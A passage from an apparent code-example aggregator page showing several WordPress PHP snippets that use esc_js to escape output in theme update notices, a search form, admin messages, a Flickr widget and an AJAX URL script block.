            $update_url = wp_nonce_url('update.php?action=upgrade-theme&amp;theme=' . urlencode($this->product->get_slug()), 'upgrade-theme_' . $this->product->get_slug());
            $update_onclick = ' onclick="if ( confirm(\'' . esc_js(__("Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update.")) . '\') ) {return true;}return false;"';
            ?>
			<div id="update-nag">
				<?php 
            /* translators: %1$s expands to product name, %2$s expands to version, %3$s expands to changelog HTML link, %4$s expands to closing HTML link tag, %5$s expands to update HTML link */
            printf(__('<strong>%1$s version %2$s</strong> is available. %3$sCheck out what\'s new%4$s or %5$supdate now%4$s.'), $this->product->get_item_name(), $update_data->new_version, '<a href="#TB_inline?width=640&amp;inlineId=' . $this->product->get_slug() . '_changelog" class="thickbox" title="' . $this->get_item_name() . '">', '</a>', '<a href="' . $update_url . '" ' . $update_onclick . '>');
            ?>
			</div>
			<div id="<?php 
            echo $this->product->get_slug();
            ?>
_changelog" style="display: none;">
				<?php 
            echo wpautop($update_data->sections['changelog']);
            ?>
			</div>
			<?php 
        }
コード例 #25
0
function jm_ltsc_tinymce_plugin_translation()
{
    $strings = array('popup_title' => esc_js(__('Insert Twitter Shortcode', 'jm-ltsc')), 'account_input' => esc_js(__('Votre compte Twitter (sans @)', 'jm-ltsc')), 'count_input' => esc_js(__('How many Tweets?', 'jm-ltsc')), 'cache_input' => esc_js(__('Cache duration (hours)', 'jm-ltsc')), 'inc_input' => esc_js(__('Include RTs?', 'jm-ltsc')), 'exc_input' => esc_js(__('Exclude replies?', 'jm-ltsc')), 'display_media_input' => esc_js(__('Display attached pic?', 'jm-ltsc')), 'yes_input' => esc_js(__('Yes', 'jm-ltsc')), 'no_input' => esc_js(__('No', 'jm-ltsc')));
    $locale = _WP_Editors::$mce_locale;
    $translated = 'tinyMCE.addI18n("' . $locale . '.jm_ltsc_tinymce_plugin", ' . json_encode($strings) . ");\n";
    return $translated;
}
コード例 #26
0
ファイル: search.php プロジェクト: Oak86/matthewbuttler.work
/**
 * Replace the default search form with a Genesis-specific form.
 *
 * The exact output depends on whether the child theme supports HTML5 or not.
 *
 * Applies the `genesis_search_text`, `genesis_search_button_text`, `genesis_search_form_label` and
 * `genesis_search_form` filters.
 *
 * @since 0.2.0
 *
 * @uses genesis_html5() Check for HTML5 support.
 *
 * @return string HTML markup.
 */
function genesis_search_form()
{
    $search_text = get_search_query() ? apply_filters('the_search_query', get_search_query()) : apply_filters('genesis_search_text', __('Search this website', 'genesis') . ' &#x02026;');
    $button_text = apply_filters('genesis_search_button_text', esc_attr__('Search', 'genesis'));
    $onfocus = "if ('" . esc_js($search_text) . "' === this.value) {this.value = '';}";
    $onblur = "if ('' === this.value) {this.value = '" . esc_js($search_text) . "';}";
    //* Empty label, by default. Filterable.
    $label = apply_filters('genesis_search_form_label', '');
    $value_or_placeholder = get_search_query() == '' ? 'placeholder' : 'value';
    if (genesis_html5()) {
        $form = sprintf('<form %s>', genesis_attr('search-form'));
        if (genesis_a11y('search-form')) {
            if ('' == $label) {
                $label = apply_filters('genesis_search_text', __('Search this website', 'genesis'));
            }
            $form_id = uniqid('searchform-');
            $form .= sprintf('<meta itemprop="target" content="%s"/><label class="search-form-label screen-reader-text" for="%s">%s</label><input itemprop="query-input" type="search" name="s" id="%s" %s="%s" /><input type="submit" value="%s" /></form>', home_url('/?s={s}'), esc_attr($form_id), esc_html($label), esc_attr($form_id), $value_or_placeholder, esc_attr($search_text), esc_attr($button_text));
        } else {
            $form .= sprintf('%s<meta itemprop="target" content="%s"/><input itemprop="query-input" type="search" name="s" %s="%s" /><input type="submit" value="%s"  /></form>', esc_html($label), home_url('/?s={s}'), $value_or_placeholder, esc_attr($search_text), esc_attr($button_text));
        }
    } else {
        $form = sprintf('<form method="get" class="searchform search-form" action="%s" role="search" >%s<input type="text" value="%s" name="s" class="s search-input" onfocus="%s" onblur="%s" /><input type="submit" class="searchsubmit search-submit" value="%s" /></form>', home_url('/'), esc_html($label), esc_attr($search_text), esc_attr($onfocus), esc_attr($onblur), esc_attr($button_text));
    }
    return apply_filters('genesis_search_form', $form, $search_text, $button_text, $label);
}
コード例 #27
0
    /**
     * Display any system messages to the user
     *
     * @action admin_bar_menu
     */
    public function display_messages()
    {
        foreach ($this->messages as $message) {
            ?>
			<script type="text/javascript">
				jQuery( document ).ready( function( $ ) {
					$.gritter.add( {
						title: "<?php 
            echo esc_js(__('System message', 'gd_system'));
            ?>
",
						text: "<?php 
            echo esc_js($message);
            ?>
",
						time: <?php 
            echo absint(5 * 1000);
            ?>
					} );
				} );
			</script>
			<?php 
        }
        // If there are no more messages, delete. Otherwise, save.
        delete_option(static::OPTION_KEY);
    }
コード例 #28
0
ファイル: flickr.php プロジェクト: dqishmirian/jrrny
    function widget($args, $instance)
    {
        $title = $instance['title'];
        $flickrid = $instance['flickrid'];
        $number = $instance['number'];
        echo ts_essentials_escape($args['before_widget']);
        if (!empty($title)) {
            echo ts_essentials_escape($args['before_title'] . apply_filters('widget_title', $title) . $args['after_title']);
        }
        ?>
		<div class="flickr ts-mfp-gallery">
            <ul id="<?php 
        echo esc_attr($args['widget_id']);
        ?>
-ul" class="flickr-widget clearfix"></ul>            
            <div><script type="text/javascript">jQuery(document).ready(function($){if ($.fn.jflickrfeed){jQuery('#<?php 
        echo esc_js($args['widget_id']);
        ?>
-ul').jflickrfeed({limit: <?php 
        echo absint($number);
        ?>
,qstrings: { id: '<?php 
        echo esc_js($flickrid);
        ?>
' }}, function(data){if(typeof(ts_magnificPopup)=="function"){ ts_magnificPopup()}})}});</script></div>
		</div>

		<?php 
        echo ts_essentials_escape($args['after_widget']);
    }
コード例 #29
0
ファイル: functions.php プロジェクト: wildrain/rac
function concierge_ajaxurl()
{
    if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')))) {
        global $woocommerce, $autorent_option_data;
        $checkout_url = $woocommerce->cart->get_checkout_url();
    }
    ?>

    <script type="text/javascript">        
        var ajaxurl = '<?php 
    echo esc_js(admin_url('admin-ajax.php'));
    ?>
';
        var current_page = '<?php 
    echo esc_js(get_post_meta(get_the_ID(), '_wp_page_template', true));
    ?>
';
        var checkout_page_url = '<?php 
    if (isset($checkout_url)) {
        echo esc_js($checkout_url);
    }
    ?>
'; 
    </script>

<?php 
}